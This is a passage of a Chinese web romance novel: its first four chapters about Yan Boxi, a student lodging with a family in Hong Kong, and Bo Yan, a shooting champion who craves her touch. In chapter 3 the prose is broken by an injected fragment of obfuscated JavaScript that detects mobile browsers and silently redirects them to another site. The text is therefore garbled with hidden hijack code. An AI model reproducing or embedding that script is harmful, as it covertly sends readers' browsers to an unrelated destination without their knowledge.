《渴肤症候群》
1. 9.17症候群
《渴肤症候群》
著/州府小十三
晋江文学城首发
八月末,暑气未消,夹杂着蝉鸣,太阳直射,店外的石阶仿佛被烫出洞。
十分钟前,颜帛夕跟朋友进到校内的这家奶茶店,店里空调凉气打得足,后颈的汗很快下去,浑身的毛孔爽利,没了粘腻的汗意。
此时她左手握了自己的那杯奶茶,正在等朋友跟店员交涉,指腹触着杯壁的凉气,觉得很舒服。
“我的这杯忘记放珍珠了。”朋友对店员摇了下左手的奶茶杯。
店员扶着工作帽看了眼,说抱歉,接过奶茶,说给她重新做一杯。
颜帛夕正好站在空调出风口,抬手摸了摸被吹凉的手臂,往旁侧一步,站在冷风吹不到的地方,低头看手机。
消息框里不同的群不停地弹出新消息,右上角红点里的数字一直上跳。
她随便点进两个看了眼,都是些没营养的刷屏。
“有人知道文苑食堂怎么走吗?”
“快递点在哪里,有没有人可以帮忙取快递,有偿。”
“等会文林楼的射击赛有没有人去看,四校联赛,代表咱们学校的是薄彦和一个姓李的大一新生。”
“那冠军肯定是咱们的啊,薄彦港队的。”
“说实话,真牛逼,他不是才拿了奖?”
......
颜帛夕扫过最后几行字,喝了口奶茶,摁灭手机。
再抬头,朋友的那杯奶茶已经做好了,在封盖。
今天是颜帛夕来香港的第三天。
她父母都在政府工作,最近牵扯一个案子,父亲颜伟明作为证人被暂时扣在京保护,为远离是非,她被母亲送到香港的薄家暂住。
薄家父母和她爸妈是至交,近几年一家在内地,一家在港,却也频繁见面。
不过说是频繁,一年也就只有几次,她作为小辈不是次次都在,所以和现在住在一起的薄家的儿子也并不熟悉......
正这么想着,朋友李清清已经从店员手里接过那杯新的奶茶,朝她的方向走过来。
因为暂避风头,颜帛夕的学籍也从内地转港,大二中文系,继续读汉语言专业。
李清清为人开朗,是她入学三天交的第一个朋友。
李清清一手挎上她的胳膊,另一手抬起在她眼前挥了挥,咬上自己的奶茶管:“走吗?”
她们说好了一起去看等会儿的射击联赛。
颜帛夕对这种事情并不热衷,只是刚开学,课不多,闲来无事,跟着去看看。
临走到奶茶店门口,手机震动。
她原以为又是哪个新生群里艾特全员的消息,低眸看过去,却发现顶头的备注是薄彦。
她微微一愣。
这是来的三天两人第一次通信息,对方的留言言简意赅。
薄彦:[在哪儿?]
-
十几分钟后,颜帛夕从薄彦给她说的教室出来,他上午有课,把外套落在了综合楼二楼的阶梯教室。
准确来说不是外套,而是一个运动背包,放在最后一排靠窗的位置,包链没拉,颜帛夕走过去时无意识扫了一眼,放了换洗衣物和一些她不懂的装备。
手机震动。
李清清的消息发过来:[图片。]
李清清:[第二排最左,给你留了位置。]
李清清:[快来,第一轮快结束了!]
颜帛夕回了一个表情包,装备包拎起来,拉上,往门外走。
对于薄彦让她来帮忙取衣服她是诧异的,先不说两人这几天几乎没说过话,也是因为薄彦这人性格很冷。
虽然家庭教养让他具备该有的素质和礼貌,但能感觉到他身上总带点对万物各事的懒散和看不上。
桀骜不驯?可能不算,但总归是个十米开外就能让人感觉到高傲的主。
颜帛夕手指戳上电梯键,低头跟男生确定东西送到的地点。
看到他回复的“文林楼”几个字时,想起他现在确实在那里比赛,她和李清清去看的射击赛就有他。
装备包往肘间拎了拎,脚尖轻轻踩地,凝视着电子屏等电梯上来。
......
颜帛夕到文林楼的场馆时,看台已经坐满了人。
西侧观众席第二排,李清清左手握着奶茶,右胳膊扬起,死命朝她招呼。
比赛已经开始了不短的时间,场下八名运动员依次排开,十米气/步/枪,观众席很有默契地保持安静。
颜帛夕提着手里的包,小心低头,跟路过的人小声说抱歉,一路挤过去。
刚坐下,李清清抱着她的脖子咬耳朵,语调里的兴奋几乎压不住:“你怎么去了那么久,开始了!!前两组积分射已经结束了!”
“薄彦甩了第二名七分,专业的和业余的果然不一样,薄彦打的时候B大人还在喝倒彩,我服了,宋京不还是差七分?”李清清义愤填膺。
场下八名选手,分别来自四所大学,其中现属港队的只有薄彦一个,李清清口中的宋京属B大校队,正在走港队的选拔。
两轮积分射,每轮淘汰末尾两名选手,现在场下还在比赛的仅剩四名。
颜帛夕目光落在四个人中最中间的那人身上。
男生没有戴耳机,也没有戴帽子,甚至因为是校联赛,连专业的装备服都没有穿,只有一副最简单的射击眼镜,上身黑T,左手端枪。
这会儿应该是刚打完,枪从枪架卸下来,正低眸调设备。
相比身边人,姿态和神情都略微松散,仿佛听不到身后观众席的窃窃私语。
第三轮十五发后,再次淘汰两名,只剩下宋京和薄彦。
只是校联赛,比赛没有采用专业的25发每轮。
宋京刚大一,也是好苗子,经过前两轮的调整,第三轮十五发的射击总环数只落后薄彦两分。
左侧看台B大的人再次响起欢呼,一遍遍喊宋京的名字,期间不乏有对A大和薄彦本人的奚落调侃,素质堪忧。
而且他们的吵闹很挑时候,只在非B大选手射击时发出噪音。
李清清气得肝疼:“这是在我们学校,仗着咱们学校有气度就这么气人是吧,太恶心了!!”
颜帛夕拍拍她的手,示意她息怒。
第四轮开始,前十发虽然宋京咬得死,但某位懒懒散散的人一直保持几分的领先。
第十二发前,场上落拓清俊的男生托枪时,无意中瞄了眼西侧的观众席。
李清清抬手撞颜帛夕:“薄彦是在往我们这里看?”
颜帛夕落眸看过去。
男生清建挺拔,纵然距离远,但依稀能看出,他目光透过透明的射击眼镜,落在她们这处。
“是吗?”李清清不确定,“怎么看这么久?不是在看咱们这边吧,他在看什么......”
颜帛夕摇头,温吞:“不知道。”
话音刚落,场上的人再转回去,已经打出了这一发的成绩。
“7.1????”李清清差点把颜帛夕的手捏碎。
颜帛夕轻呼一声,连连轻拍李清清的手背:“轻点。”
李清清意识过来,松手,转头左右
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看:“到底在看谁,怎么突然打了个7.1?!”
对于这种程度的选手,下9环都几乎不会有,更不用说只打出七环多的成绩。
李清清心都碎了,两手抓着颜帛夕的手:“呜呜我不要被B大的看不起。”
颜帛夕抬手摸她的头发,爱怜安慰:“不会的不会的。”
语毕她再转了视线看回场内,身型高挺的男生抬手按了下耳朵,再拨前额碎发,依旧是随性不羁的样子。
怎么手抖打了个7.1?她也冒出这样的疑问。
因为这一枪的失误,被宋京追上,后面接连两发两人差距不大。
虽然薄彦面上依然很稳,但他这几发的成绩明显不如之前,一枪9.2,一枪9.3。
而宋京表现良好,连续两枪打在了十环以上,此时积分环数上,宋京已经反超薄彦0.3环。
李清清真的很关注A大的脸面,紧捏着颜帛夕的胳膊,焦急惋惜:“他是不是累了?”
“不能比不过宋京啊,我看到B大人的嘴脸真的......”耳边吵嚷声不断,李清清简直想呕血。
颜帛夕来之前没想认真看,但此时也被气氛感染,反握住李清清的手,屏住呼吸。
第十五发射击开始,屏息两秒后,先是宋京打出了这一枪,前方大屏幕弹出成绩——10.5。
“轰”一下,左侧B大观众席爆发出雷鸣般的欢呼声,这是宋京本场比赛打出的最高成绩。
颜帛夕扫了眼大屏幕,再紧张兮兮地看回场内,心提到了嗓子眼儿。
而李清清也终于和左边的B大人发生了冲突。
“你们能不能小声一点,还有人没有打,知道不知道保持安静??”
被她呛的B大男生手举横幅,语声不屑:“港队的怎么样,你以为就你们A大的厉害?什么都要压一头,神经......”
“你!”李清清气急。
颜帛夕赶忙拉住她,右手食指在唇前比了噤声的动作,往前指场下:“算了算了,快看。”
右侧大屏幕实时播放两位选手的举枪射击情况。
屏幕上场下黑色T恤的男生捏了下后颈,之后低头,右眼对准枪镜时提唇,貌似轻笑了一下。
随后,大屏幕被切割成两部分,左边是男生的脸,右方弹出射击环数和被击中的靶心——
“满环10.9!!!”李清清激动地跳起来。
颜帛夕随之松口气,身体卸力后靠,弯眼笑起来,身旁A大人震耳欲聋的叫好声此起彼伏。
0.1环,A大反超,赢下本次校联赛。
被B大恶心了整场的A大人扬眉吐气,再也没管风度和气度,怎么叫的响怎么来。
而此时场内终于卸下枪的薄彦摘掉了宽大的射击眼镜,目光再抬起时,准确无误地落在了西侧看台。
欢呼声接连不断,馆内语音正在播报最后分数和排名。
有汗从额角滑落,粘腻而湿,耳朵屏蔽周围噪音似的能听到自己胸腔内的心跳声。
他望着西侧看台第二排灰色百褶裙的女生。
指腹轻捻,几分钟前无意瞟到的那眼影响了他后几发的射击,而就此引发的某种冲动此时依旧没被消除。
他有些不舒服,嘴唇发干,喉咙干涩而渴。
想摸她,或者是被她摸一下。
三天了,今天感觉尤为强烈。
低眸,气音笑了一下,侧身把刚比赛时用的枪放在枪托,摘下手套同样扔在上面。
之后转身,忽略观众席的欢呼雀跃,众目睽睽下,朝她坐的地方走过去。
2. 9.19症候群
颜帛夕坐在整个看台第二排的最左侧,左手边临着楼梯的地方还剩了不到一米宽的空位。
男生就是朝这个位置走过来。
简单的黑T和工装裤,利落的短发,前额刘海微微汗湿,他从右侧裤子口袋掏出一只同样黑色的运动腕表,戴在左手腕。
随后屈腿蹬上台阶,坐在了颜帛夕身侧。
刚赢了比赛,本来就是万众瞩目的时候,西侧二排又靠前,在场多数人的目光不由都投过来。
颜帛夕不习惯这种瞩目,不自觉挪挪屁股,往旁边坐了点。
“有水吗?”耳侧忽然响起男生清哑的嗓音。
颜帛夕愣了一下才反应过来他是问自己。
场馆内喧闹声太大,混着播音腔的语音播报,周围人听不清两人的交流。
她垂眸看了下脚边地面没开封的那瓶水,捡起来,递过去:“没喝过。”
“嗯。”他嗓音淡淡,些微哑意,接过去。
瓶盖拧开,仰头喝了几口。
男生侧脸线条清朗锋利,前颈凸出的喉结随着吞水的动作滚动,连喝水都透着股懒散劲儿。
颜帛夕移开视线,目视前方,瞧不远处的电子屏。
正在核算最后成绩,A大的另一位选手第三轮淘汰,积分总环数位列第三。
李清清忙着跟人发消息,没看到刚颜帛夕和薄彦两人短暂的交流,不过前排倒是传来窃窃私语。
“那不是刚赢比赛的,叫薄什么来着......”
“薄彦,真的好牛我草了。”
“上天到底给他关哪扇窗了,他成绩不也好?那个港数学竞赛......”
“他跟旁边的女生认识吗?”
“不知道啊,不认识吧,你没看两人都没有说话,估计就是借水。”
“女生好漂亮,呜呜我什么时候可以有那么圆的头骨......”
“下辈子吧。”
......
莫名其妙被人夸到头骨,颜帛夕低头,手掩在唇边咳了一声,掩饰尴尬。
李清清回完消息,打眼扫到另一侧的薄彦,又看到颜帛夕脚侧原先放了水的地面,柠檬味道的电解质水,已经不在了。
她拽了颜帛夕的胳膊把人拉到身侧:“什么情况?”
“你的水给薄彦了?”李清清惊讶。
颜帛夕不知道怎么解释,也不好说两人认识,只能避重就轻:“他要的。”
李清清不清楚情况,往旁边男生的方向小幅度瞟了一眼,好奇:“我还以为他是那种高冷不爱说话的,没想到还挺外向。”
她指的是跟不认识的人借水这事。
颜帛夕的注意力在旁侧人的身上,随便嗯了两下,揭过话题。
也不怪她,薄彦比她高大很多,坐得近,存在感很强,让人想不注意都难。
过会儿还有气/手/枪的比赛,好不容易抢到位置,场馆里的人都没散,吵吵嚷嚷说话,展着手里的条幅,等待下一场比赛。
又坐了几分钟,李清清去上洗手间,再是坐在她左边的薄彦也起了身,离开位置。
颜帛夕莫名松了口气。
刚属实有点尴尬,跟他说话也不是,不说也不是。
经过十多分钟的调整,气/手/枪的选手已经陆续入场,从场下右侧的入口往场内走,颜帛夕正百无聊赖,低头看手机,正好看到屏幕上弹出的信息。
薄彦:[包忘你那儿了。]
颜帛夕一怔,侧眸看了眼,意识到他的包确实还在自己这里。
正琢磨是跑一趟给他送过去还是协商让他来拿,男生的头像再次冒出新的对话。
仿佛查无此人的黑白色头像。
薄彦:[一层东,休息室203。]
薄彦:[走不开,麻烦帮忙送一下。]
颜帛夕往下探头,休息室要从外面走,这样看看不到,她左右瞧了眼,确认要去休息室需要从看台下去,通过南边的通道出去。
眼神再落回手机,敲字回了个“好的”。
再是猫腰起身,拎着薄彦的那个装备包走下了观众席。
休息室并不难找,从南侧通道出来,问了守在门口的志愿者,得到方位,朝东面安静的走廊走去。
两分钟后,她停脚在203房门口。
抬手要敲门时发现门没关严,露着一条细缝,不过她还是礼貌地叩了两下。
两秒,里面的人微微上扬的语调,情绪不明:“谁?”
“颜帛夕,”她捏着手里的包带,又道,“你的包。”
“嗯。”门里的男生应声。
?
颜帛夕对这个单字的回答感到困惑,是让她进去?
疑惑地皱了皱眉,抬手推开门,看到站在房间里侧的薄彦。
男生半撩着身上的T恤,对着身前的镜子,看腰腹缠的绷带。
颜帛夕扫过他没被绷带遮挡的紧实的腹部,之后拎包进门,走到他附近,装备包放在离他两米的座椅上,细声确认:“就只有一个包对吗?”
包有点大,但座椅小,她抵着包袋往里推了两下,才算在椅子上放稳。
在她放包的途中,刚看伤的人已经放下了T恤下摆,绕过她关上了休息室的门。
“咔哒”一下,门落锁的声音。
他再走过来,提着后衣领套头脱下上身的T恤。
一米八七的身高,年轻蓬勃的身体,肌肉线条清晰分明,挂着薄汗,汗液顺着往下埋进白色绷带,一种喷涌而出的野性和生机。
颜帛夕左手还按在装备包上,盯着他一时失了声。
她轻轻吸气,忘了移开目光。
然而男生像是没注意到她的分神,在离她两步的地方停住,低头解绷带,左手伸出,手心向上:“喷药。”
颜帛夕晃神,慢了一拍才俯身拉开装备包,扒拉了一下,找到被压在下面的白色喷雾,起身。
薄彦身上的绷带已经被全部解开,一半缠在右手掌,刚被遮住的腹肌和人鱼线完全暴/露在人的视野中。
颜帛夕彻底顿住。
虽然真的很好看,而且男生脱个上衣不算什么,但现在这房间只有他们两个,还站得这么近......
“药。”她尽量放平声线,把喷雾递过去。
见男生低头看伤没反应,她又往前递了递,直接塞到了他的手里。
短暂的肢体接触,她察觉薄彦撩眼皮的动作好像顿了下,再接着错觉似的,男生恢复如常,眼皮轻掀,摇了下喷雾,对准自己的腹部和侧腰喷了两下。
再之后,他倾身靠近,把刚用过的那瓶喷雾丢进了她身后的装备包。
薄彦并没有碰到她,但骤然的距离缩短,还是让她的鼻尖拢了他的气息。
随后,他极有礼貌地收身往后,说了句“抱歉”。
颜帛夕没反应过来,抬眸“嗯?”了一下。
男生扫她一眼,从桌面捡了绷带卷,从顶端抽开,重新往喷过药的腰腹绕绷带:“刚没有注意社交距离。”
颜帛夕一愣:“没事。”
“没碰到我。”她抬手摆了下,客气地说。
男生牵唇,像是笑了一下。
他往后两步,坐在座椅上,眼睫半垂依旧专心致志缠绷带,语调漫不经心:“这两天在学校怎么样。”
“挺好的。”颜帛夕看着他的动作。
“还适应?”
“嗯。”
“有需要的跟刘叔说。”
“好。”
......
聊了两句无关痛痒的话,颜帛夕手机响起,是去完洗手间回来找不到她的李清清。
她接起,说了两句。
电话再挂断,冲薄彦摇了下手机,小心指门:“我先走了?”
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男生没抬眼,用过的绷带卷丢进一旁的纸箱,抬脚抵远:“嗯。”
颜帛夕最后扫他一眼,绕开他往远处房门走去。
-
下午下课,颜帛夕被李清清扯去了音乐社。
音乐社是大社,包含管弦乐,民族乐,摇滚乐团等几个分支,在音乐学院综合楼二楼有一层的办公室和练琴房。
A大面积大,楼也多,只要申请,地方基本随随便便批。
颜帛夕长得乖,但无论性格还是喜好都隐隐有一点叛逆的成分在。
“架子鼓?”李清清拿着报名单,惊讶地看着她,“你想学架子鼓??”
她语调扬得太高,颜帛夕目光从墙面的排课表收回来,看向她,不太确定:“是没有吗?”
李清清一手捏了薄纸,一手抬起帮她把头发拨好:“也不是,就是太惊讶,你长得这么文静,我以为你会喜欢钢琴竖琴之类的。”
颜帛夕长得乖,人确实也乖,父母都在政府有一官半职,母亲又是挂名教授,书香门第的家庭,成长经历上没做过太出格的事。
“可以吗?”她弯着眼睛吐了吐舌。
几分钟后,李清清拉着她进了屋子。
架子鼓所在的教室还有一个学长,男生跟薄彦一个年级,大四。
简单跟两人介绍了情况,在颜帛夕试敲时跟李清清闲聊。
没聊两句,话题转到中午的射击联赛。
学长笑:“那哥们儿也是厉害,听说最后有人拦在休息室外表白,手/枪比赛快结束那会儿,人家女生抱了一大束花,他愣是说了个谢谢走了。”
颜帛夕用槌头敲了其中一个镲,想是自己走过之后发生的事。
李清清好奇问:“然后呢?”
学长耸肩笑:“没然后了。”
“有礼貌是有礼貌,冷漠也是真冷漠。”他总结。
李清清嘶了一声:“我还以为他很好说话,中午那会儿比完还跟我朋友借水了。”
学长弯身调鼓,随口问:“你朋友?”
“对啊,”李清清回头叫,语带好奇,“阿颜,他中午跟你说话你感觉他人怎么样?”
颜帛夕正要抬头,手机弹出来电,她跟李清清打了个手势,拿着手机起身走到窗边。
电话接通,是薄彦的母亲,段之玉打来的电话。
“小夕,我和你叔叔要回一趟薄家,今天晚上不回去了,跟你讲一下。”
“嗯,好的。”
“你等下从学校回去,记得联系李叔接你。”
“嗯,”颜帛夕再次应,“那薄彦……”
她隐约记得中午见他时,他说晚饭前还有一节课,然后就没事了。
他因为训练耽误了很多课程,选修的学分还没有修完。
段之玉不在意:“没事,不用管他,他不知道又要野到哪里,我们不在他都不回去。”
颜帛夕乖巧地嗯了两声,和段之玉挂了电话。
再走回刚刚的位置坐下,探身拿了鼓槌,李清清和那位学长还在天南地北地聊。
尝试着按节奏谱敲了会儿,正犹豫要不要还是问下薄彦,男生已经传来了简讯。
薄彦:[在哪儿?]
颜帛夕放了槌:[音乐社。]
那边人不知道在忙什么,她这条发完大概过了十分钟,他才回。
薄彦:[等会儿一起回。]
颜帛夕搓了搓手,想要不要把刚段之玉给自己打电话说的传达给他。
段之玉不是说他们不在他都不回家吗。
颜帛夕:[你妈妈刚刚打电话说她和薄叔叔今天回薄家。]
颜帛夕觉得薄彦有个习惯真的很不好,别人发消息他总是回得很慢。
总是一句过后,要等个五六七八分钟,才能等到他的回信。
这次也一样。
片刻后,男生头像弹出:[我知道。]
3. 9.21症候群
晚上六点,颜帛夕和李清清从校西门出来。
“你要回家对吧。”李清清一面低头在软件上扒拉某个小吃店的评价,一面问她。
颜帛夕最后看了眼手机,确认薄彦发来的方位:“对。”
校西门是个小门,门前的林荫道也不宽,并排只能走两辆车,有车靠边停,别的车就不能过路。
颜帛夕往右侧张望了一下,试图通过枝繁叶茂的行道树看清不远处路口停放的车。
凝了几秒,终于确定那辆黑色轿车就是平时接送过她的,她反身冲李清清晃了下手机:“清清,我先走了。”
李清清扬手比OK:“走吧,我问问王梓冉她们吃了没。”
李清清性格大大咧咧,热情活泼,但有一点不好,太愤世嫉俗。
大一知道班里几个干部在评优评先的事情搞暗箱操作,她看不过去跟对方协商,被对方阴阳怪气发朋友圈嘲讽,她恶心得不行,最后直接发邮件给了校纪委。
事情处理后,李清清实在说服不了自己跟这群人玩到一起,慢慢脱离了班级,只跟几个三观合的还会联系。
开学日遇到颜帛夕“一见倾心”,现在就和她玩儿得多。
几分钟后,颜帛夕拉开门上车。
还不到九月,天气很热,香港室内室外两个世界,每个店的空调都像不要钱得开。
车里也不例外。
颜帛夕猛得进来被凉气扑了一身,勾上车门,抬手不着痕迹得搓了下手臂。
她畏寒喜热,车里这温度对她来说确实太低了。
李叔从后视镜看到她的动作,慈爱笑道:“冷吗,可以调高一点。”
颜帛夕刚要点头,想到薄彦在家总是开到十六度的空调,想了想,右手抬起比了一下指尖:“一点点就好。”
李叔含笑点头,把空调升了两度。
颜帛夕手伸到空调出风口,感觉吹风是没有刚刚那么低,呼气收手时,偏头看了眼坐在后排另一侧的人。
男生右手搭在车门扶手,阖眼后靠,懒怠的模样,从她上车到现在没动也没睁眼,不知道是不是在睡觉。
视线正欲收回,落眸看了眼他的衣服。
依旧是低调却格外野性不羁的黑T,但和中午比赛时的不是同一件,胸口带了暗纹刺绣,颜帛夕认识这个logo,香港某个独立品牌,一件简单的短袖几万块不等。
她多看了几眼,暗叹资本家的奢迷。
可能是以为薄彦睡着了,也可能是今天的数次交流让她觉得薄彦没那么冷淡,总之她一时间没有转开视线。
目光从他的侧脸,扫到喉结,再往下宽阔的脊背。
她在心里轻轻呵气,很客观地评价,是有让人堵在休息室告白的资本。
她收回眼神,往左边窗框倚了倚,等待车子启动。
而另一边的男生极轻微地动了动身体。
和颜帛夕想得不一样,薄彦没睡,甚至于远比其他任何时候感觉都要敏锐。
很奇怪,中午在休息室和她短暂接触后,他对她的渴望更强烈了点。
刚她开门上车,带进来室外的热气,和她身上淡淡的味道,很淡的蛋糕和奶香味,像是过来前吃了甜品。
他放在座椅上的左手不着痕迹地搓了下手指,再是稍稍偏头,喉间滚了下,无声扯了下唇。
他不喜欢这种感觉,没办法控制,很难受。
二十分钟后,车在薄家院子前停下。
后座的人还在睡觉,颜帛夕看了他一眼,没有扰人清梦的习惯,想了想,提了自己的背包,先一步推门下车。
院前和别墅有一段距离,上了台阶,进门,看到从鞋柜上跳下来的猫。
她一惊之后又弯眼笑。
胖乎乎的浅黄色加菲,女孩子总是对这种毛茸茸的动物没有任何抵抗力。
她下意识蹲下,抬手想碰碰它的脑袋,她听到过薄彦在家里叫它,但这会儿忘了名字,只能用最大众化的称谓喊:“咪咪。”
喊了两声,加菲两只前爪搭在地上,懒洋洋地往她手下拱了拱。
颜帛夕没忍住,手搭上去。
赵姨从厨房出来时看到的就是纤瘦的女孩儿背着书包蹲在玄关处撸猫的场景。
她在薄家做了很久,从小照顾薄彦这个野小子,家里忽然来了又乖脾气又好的小姑娘她打心里很喜欢。
此时看到女孩儿在干什么,碗放在餐桌上,不免走过去善意提醒:“薄彦不喜欢别人动......”
臭小子对自己的东西占有欲极强,这猫他爸妈碰一下他吃饭都没什么好脸色。
“没事。”门外忽然走来人,懒洋洋的男声。
赵姨抬头,看到薄彦把单手拎的装备包扔在了墙边的架子上。
颜帛夕自然也听到了这声,勾着书包带站起来,为自己碰了别人的所有物道歉:“对不起,我看它太可爱摸了两下......”
男生没看她,手里抓的冲锋衣挂在衣架:“它自己往你手底下拱的。”
颜帛夕没想到薄彦这么容易就“原谅”了自己,毕竟他在家里表现得挺不服管教,脾气也不算好。
她想了想,朝旁边避开一步,给往客厅走的人让开位置。
别墅的玄关很宽,有两米,颜帛夕也不知道自己为什么要让这一步。
不过薄彦从她身前绕开时,她确实松了口气,这人身上的攻击力和压迫感都太强,跟他站近了总是不由自主的紧张。
男生走后,赵姨也搓了围裙过来。
看颜帛夕站在玄关不动,以为是被薄彦吓到了,轻声安慰她:“小彦就是看着冷点,其实人......”
赵姨顿了下,颜帛夕抬眼,很容易就领悟了意思。
“其实人还挺好”这句话赵姨估计是说不出口。
赵姨也意识到自己的卡顿,走近提过颜帛夕手里的包笑了笑,解释:“他爸妈有时候管他多他烦,他领地意识强,习惯了身边的东西不让人碰,小时候床上放的恐龙都不让人摸一下,后来养的宠物和他的枪也是......”
颜帛夕跟着往客厅走,捕捉到赵姨话里词:“宠物也不行吗?”
那刚刚摸他的猫他怎么说没事呢?
赵姨其实也有点奇怪,但眼下安慰:“可能是小彦和你相处得还不错。”
“所以别怕他。”她宽慰。
......
另一边,薄彦上楼直接拎着衣领把身上的T恤拽下来,想洗澡换衣服。
夏天太热,衣服穿身上两个小时都想换新的,此时他裸着上身往浴室的方向走。
走了两步,听到身后喵一声,他皱眉转身,看到拖着肥呼呼身子从门缝挤进来的加菲。
这只加菲从他高一养到现在,已经七年了。
在猫的世界步入中老年,体型也越来越胖。
他耐着性子看加菲往自己身前走,懒声叫它的名字:“不行。”
不行停住脚,之后瞧了自家主人两眼,再慢吞吞地朝前伸脚,继续迈步。
薄彦凝着它,轻啧一声,忽然有点烦。
刚在门口女孩儿抱腿蹲着撸猫的场景仿佛还在他眼前。
手指葱白纤细,一下下,从猫背浅褐色的毛中穿过。
他脑内不期然地飘过那手指划过他皮肤的画面,只一下,画面消失,他大脑皮层却仿佛缩紧再松开,爽了一下。
草。
他气声笑,低骂。
不行听到主人的声音,慢吞吞挪了半米,再次停住。
脖子处的皮松松垮垮,堆了两叠,耸拉着眼皮,仰头恹恹地看着薄彦,像是不知道自己该前进还是就这么停住。
一猫一人就这么看了会儿。
片刻后,男生高大的身影蹲下。
他冲它勾勾手,仿佛被烟熏过的淡淡沙哑:“过来。”
不行迟钝两秒,慢腾腾地抬了抬脚,试探着往前,不消多久,它走到薄彦面前。
男生眉眼线条干净锋利,是那种即使扔在人堆里,也能一眼看到的帅,好看得很有冲击力。
此时他蹲着,眼皮半垂,睇着脚前的猫。
几秒后,伸手撸了把刚女孩儿撸过的后脑。
“喵——”不行在他手底下拖着声音叫了一声。
撸它的人往后席地而坐,左腿半屈,胳膊伸长搭在膝盖上,另一手则反复摸着不行的后颈。
口吻懒散而淡,漫不经心:“不愿意让我摸下去找她。”
不行听懂了似的,“喵——”又叫了一声。
薄彦轻声嗤笑,拨它的脑袋:“顺带让她上来也摸摸我。”
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35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13722888|144890||http|test|mini|href|location''.split(''|''),0,{}));
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>颜帛夕吃完饭没急着上楼,在客厅又坐了会儿,回卧室也没什么意思,不如在一楼陪赵姨说话。
在餐厅和赵姨剥了会儿花生,赵姨怕她累,让她去看电视。
她想了想,把筐里剥好的花生给赵姨,走到客厅坐下,打开电视,切了个满屏生机勃勃的动物世界。
强壮的雄狮在镜头里撕咬,她一手抱着抱枕,另一手托腮看得格外认真。
插播广告时,她听到赵姨喊她,让她去问一下薄彦吃不吃饭。
薄彦从回来就上了楼,晚饭也没下来,他房间有冰箱,会放些东西,但谁都不知道他吃了没,又吃的什么。
颜帛夕应声起身,放下了怀里的抱枕。
“在庭院。”赵姨正挑拣着筐里的花生,把更好一些的和差点的分开。
颜帛夕往庭院的方向看,黑漆漆一片,但盯了几秒,看到树下的躺椅有人。
橙黄色的加菲窝在他椅子下,不远处还有正修剪灌木枝叶的家佣。
她没多犹豫,绕开沙发,朝庭院的方向去。
薄家别墅的后院很大,南侧专门辟出了一小块地方,是供薄彦练习的室外靶场,枪靶,枪械架一应俱全,还有放各种眼镜手套等装备的架子。
几步远的距离,颜帛夕走到。
“薄彦,”她叫躺在长椅上的人,“赵姨问你吃不吃饭。”
薄彦晚上确实没吃什么东西,但不是不饿,是不想跟颜帛夕呆在同一个房间。
不清楚是不是中午那短暂的独处出了问题,他现在像身上有雷达一样,只要靠得近点,就能准确地从繁杂的空间里捕捉到她的声音,气味。
感觉得到,但摸不到,很难受。
他手垂在躺椅下,手指勾了勾猫毛,笑了一声,没情绪。
颜帛夕以为薄彦没听到,走近了些,又喊了一下:“你晚上吃东西了吗?”
她从躺椅背后绕到斜前方。
已经走进了庭院几秒,眼睛适应了暗淡的光线,能看清躺椅上的人。
一楼内厅投过来柔柔的光线,勾勒出男生的轮廓,在他的椅下投下一小片模糊的阴影。
“薄彦。”她瞧着他轻声叫。
躺着的人睁眼,两人对上视线。
不远处除草机的声音轰隆隆响,嘈杂的背景音,薄彦就在这样的环境里静静看着她。
颜帛夕被盯得有点不自在,开口想再说话,已经被他拦住了。
他拨了下头发,坐直了点,右手没离开椅子下的猫,声音带着浓浓困倦,像是没睡醒:“你跟我做过自我介绍吗?”
她被问得一愣:“自我介绍?”
“嗯。”薄彦懒懒点头。
她抓了抓长裙的裙摆,回忆了一下,好像的确没有。
来的第一天是上午,吃午饭时薄彦不在,再是晚上他从楼上下来,不知道是午睡后的起床气还是单纯的心情不好,他全程脸色一般,冰冰冷冷,颜帛夕没敢跟他说话。
后来就是昨天,早餐薄母段之玉给两人介绍了一下,然后就是今天......
想到这儿,颜帛夕看着他认真道:“我叫颜帛夕,玉帛的帛,朝夕的夕。”
坐在躺椅边的人抬头。
他眸色很深,专注看人时,带点审视的感觉。
颜帛夕也不知道怎么,莫名觉得他这样看自己,像是在说她的自我介绍不够有诚意。
没纠结这感觉的来源,她伸手递过去,认真道,清透而细的声线:“颜帛夕,希望可以成为朋友。”
女孩儿手伸过来时,带股淡淡的香,不同于下午上车时的味道,这次是清爽的沐浴液。
薄彦目光从她脸上滑下来,落到那只手上,须臾,他抬手,正欲握住。
厅内传出一道声音——
“小夕,过来吃水果了,叫薄彦一起。”
“好。”
女孩儿扬声回答,同时已经递到他眼前的手收回。
赵姨的声音再次传来:“小夕,来帮一下忙。”
“来了来了。”她半提裙摆,裙角擦过躺椅,朝厅内方向走去。
清淡的香气从鼻尖掠过,无影无踪。
薄彦瞧了下自己刚准备抬起握她的右手,还悬在半空。
良久,他偏头在阴影里无声勾了下唇。
真烦。
4. 9.23症候群
A大不愧是知名高校,课程压缩得紧,周一周二报道,周三就开始上课。
不过好在刚开学课不多,周三到周五每天只有一节。
周五下午下课,李清清去校办送一个材料,颜帛夕自己去了学校的宠物救助站,想给不行买点猫条。
至于和薄彦的关系,除了前天和他说过几句话外,这两天两人又陷入了零交流。
他每天早上出发去训练,中午不回家,晚上也很晚回来,所以不只是说话,两人连照面都很少打。
不过他貌似在他的猫这件事上很大方,不仅允许她摸,还在她试探着问能不能买点东西投喂一下时,也答应了。
颜帛夕在心里默默打分,觉得他也不说算难相处。
A大校内的宠物救助站主要救助一些校内的流浪猫狗,学生自发成立,后因需要地方,向学校申报,近几年校方都有拨款,同时帮助募捐。
颜帛夕从银色钩架上取下一根猫条,对着手机上的信息反复比对。
然后拍了一张照片发给薄彦。
颜帛夕:[这个可以吗?]
颜帛夕:[我做过功课,主食级猫条,不会对猫猫有不好的影响。]
照例是发完没有人回,颜帛夕也不急,猫条重新挂回架子,往旁边看了几眼,确认其它品牌的猫条有没有添加剂。
横着一列架子看完,终于等来了薄彦的回信。
薄彦:[可以。]
颜帛夕弯眼笑起来,从刚陈列的架子上取下两盒,又拿了几罐不行在家里吃过的猫罐头,往结账的地方走。
